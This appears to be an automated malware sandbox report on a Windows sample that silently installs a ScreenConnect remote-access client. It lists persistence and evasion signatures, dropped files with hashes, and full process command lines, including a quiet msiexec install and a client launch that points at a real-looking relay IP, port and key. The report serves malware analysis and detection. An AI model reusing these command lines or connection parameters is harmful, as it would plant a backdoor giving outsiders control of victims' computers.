Analysis

  • max time kernel
    150s
  • max time network
    134s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/08/2026, 00:01

General

  • Target
    2026-08-11_4cc7118142b752ab9bd3ac3d28b4967a_amadey_luca-stealer_njrat_ransomhub_remcos_smoke-loader.exe
  • Size 13.4MB
  • Sample260812-aa4twsvcla
  • SHA256 198cd5c115bdbd368045a4fc4cff836f82d0d5aee53849e1d65a0ab65187beeb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 1 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 26 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-11_4cc7118142b752ab9bd3ac3d28b4967a_amadey_luca-stealer_njrat_ransomhub_remcos_smoke-loader.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-11_4cc7118142b752ab9bd3ac3d28b4967a_amadey_luca-stealer_njrat_ransomhub_remcos_smoke-loader.exe"
    1⤵
      PID:2400
    • C:\Windows\system32\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\PackageCache\pkg_ufp2lgvx.msi" /quiet /qn
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:5704
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2924
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding AD4389ADD30D5915D853F554C605DAF7
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5088
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI981F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240752859 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:5344
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 34D39C9A6A5E3ABEF8572AF8B6B6FCF6 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:5348
    • C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=23.80.83.148&p=8041&s=67b3098a-029b-4bda-bd37-b80094957618&k=BgIAAACkAABSU0ExAAgAAAEAAQAdOve9RPLsaLTZvGYgwAjTolKnk0AqoEEuSPsiZgTnFadO65SRpF6erVojduNftv340qKkRvZ8kyZGsqd9dkfSZGW6obHFWngRQ6X1AaVh7QoWLvbj56cuoO7CJF0EH0uQoCTfCwVAq3%2bVrj2Mds97%2fEMBdEEzvHSUyzx5Zx2v3zQ%2bnVz5IeoCfW3IhynPdGG5O3h3t%2b34E%2f%2f%2b%2fQb5AuNjuIwBsvqBFQjQJ1SVPjQNjDS%2frm4gNhYbdP3vv2yYl48DNdYo4rgFV8gEohF8xt3sZ8xmzDKuG6%2bUv6S%2bSOSjr4Vtnueq6vUrzGut%2fM6haC%2fzxIHPjru%2bFJrxKWZHzuHE"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4120
      • C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\ScreenConnect.WindowsClient.exe" "RunRole" "9821ea6c-d8a3-48f9-89aa-7fa628e03c16" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:1840
      • C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\ScreenConnect.WindowsClient.exe" "RunRole" "925ae01e-c236-4f38-96d7-76024e7aa1de" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2384

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e599573.rbs

          • Path C:\Config.Msi\e599573.rbs
          • Size 214KB
          • SHA256 bb6231251dce3f02f9b7fa8d425d1756129693126f62c8e55012bc74a734ca0f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\app.config
          • Size 508B
          • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2a756c6114278581)\system.config
          • Size 946B
          • SHA256 5de02f9c444da6f7eaf617496a9f29277be8f9932b46377f83f1f5bdae79d03c
          • MD5 SHA1 SHA512 TLSH

          pkg_ufp2lgvx.msi

          • Path C:\Users\Admin\AppData\Local\PackageCache\pkg_ufp2lgvx.msi
          • Size 9.5MB
          • SHA256 4b9c90fcd47c6c0764af6e3efd97aaf3c8b3a0b74762cefc0e20e7e2145b247f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI981F.tmp

          • Path C:\Windows\Installer\MSI981F.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI981F.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI981F.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI981F.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI981F.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI9D23.tmp

          • Path C:\Windows\Installer\MSI9D23.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1840-117-0x0000000001590000-0x00000000015A8000-memory.dmp

          memory/1840-114-0x000000001BE50000-0x000000001BFFC000-memory.dmp

          memory/1840-115-0x000000001C190000-0x000000001C318000-memory.dmp

          memory/1840-116-0x00000000014F0000-0x0000000001508000-memory.dmp

          memory/1840-113-0x000000001BC10000-0x000000001BC9C000-memory.dmp

          memory/1840-111-0x0000000000BE0000-0x0000000000C78000-memory.dmp

          memory/1840-112-0x0000000001520000-0x0000000001556000-memory.dmp

          memory/2400-119-0x00007FF6B96F0000-0x00007FF6BA4A6000-memory.dmp

          memory/4120-83-0x0000000004980000-0x00000000049D0000-memory.dmp

          memory/4120-87-0x00000000049D0000-0x0000000004A06000-memory.dmp

          memory/4120-72-0x0000000002180000-0x0000000002198000-memory.dmp

          memory/4120-88-0x0000000004CD0000-0x0000000004D62000-memory.dmp

          memory/4120-90-0x0000000004A10000-0x0000000004A51000-memory.dmp

          memory/4120-92-0x0000000004EC0000-0x0000000004F95000-memory.dmp

          memory/5344-34-0x00000000061B0000-0x000000000635C000-memory.dmp

          memory/5344-35-0x0000000006920000-0x0000000006EDA000-memory.dmp

          memory/5344-22-0x0000000003DA0000-0x0000000003DCE000-memory.dmp

          memory/5344-26-0x0000000003DE0000-0x0000000003DEA000-memory.dmp

          memory/5344-30-0x0000000003EA0000-0x0000000003F2C000-memory.dmp